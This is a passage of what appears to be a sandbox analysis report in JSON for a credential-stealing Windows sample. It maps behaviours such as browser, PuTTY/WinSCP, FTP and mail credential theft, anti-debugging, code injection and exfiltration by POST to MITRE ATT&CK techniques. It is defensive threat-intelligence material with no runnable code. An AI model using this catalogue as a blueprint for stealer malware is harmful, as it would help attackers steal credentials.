Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"Renames files"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Contains the ability to enumerate volumes (API string)"},{"type":"informative","value":"Contains ability to enumerate volumes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"},{"type":"suspicious","value":"PE file contains unusual section name"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Credential Access","technique":"Credentials in Registry","attack_id":"T1552.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/002","identifiers":[{"type":"malicious","value":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"},{"type":"informative","value":"Found strings related to file managers"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Able to access Windows Vault"},{"type":"informative","value":"Found string related to Windows Vault/Credentials location"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Credential Access","technique":"Credentials In Files","attack_id":"T1552.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/001","identifiers":[{"type":"malicious","value":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to determine disk drive type (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to lookup the windows account name"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"malicious","value":"Reads FTP client related registry keys"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"},{"type":"malicious","value":"Reads Antivirus engine related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query system locale (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal FTP credentials from registry"},{"type":"suspicious","value":"Tries to steal Pidgin account information (file access)"},{"type":"informative","value":"May execute SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"},{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found user-agent related strings"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Contains reference to Mail transfer protocol"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"tactic":"Exfiltration","technique":"Data Transfer Size Limits","attack_id":"T1030","attack_id_wiki":"https://attack.mitre.org/techniques/T1030","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"suspicious","value":"Opens a handle to the specified local process"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"RtlCreateUserThread\" (Indicator: \"RtlCreateUserThread\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"RtlCreateUserThread\" (Indicator: \"RtlCreateUserThread\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"NtWriteVirtualMemory\" (Indicator: \"WriteVirtualMemory\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"ZwAllocateVirtualMemory\" (Indicator: \"AllocateVirtualMemory\"; File: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found reference to API \"ZwAllocateVirtualMemory\" (Indicator: \"AllocateVirtualMemory\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")\n Found reference to API \"NtWriteVirtualMemory\" (Indicator: \"WriteVirtualMemory\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"sihost\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"sihost\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp, 00000000-00003192.00000000.67782.007D0000.00000040.mdmp, 00000000-00003192.00000001.69702.00400000.00000040.mdmp, 00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"CryptCNGInitHMAC\" (Indicator: \"HMAC\"; Source: \"00000000-00003192.00000002.71621.00259000.00000004.mdmp, 00000000-00003192.00000003.72568.00259000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003192.00000000.67782.00246000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003192.00000000.67782.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003192.00000000.67782.007D0000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003192.00000001.69702.00400000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003192.00000002.71621.00246000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003192.00000003.72568.00246000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00003192.00000003.72568.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"\"sihost.exe\" renamed original file\"C:\\sihost.exe\" to \"%APPDATA%\\B52C16\\66E7F2.exe\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"652a556b470fe2fb9d076c4b"},{"report_type":"sandbox","report_id":"65295c8546ef7c33900e624f"},{"report_type":"sandbox","report_id":"67f2477b31c1475ac207d5e7"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"sihost\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"sihost\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: 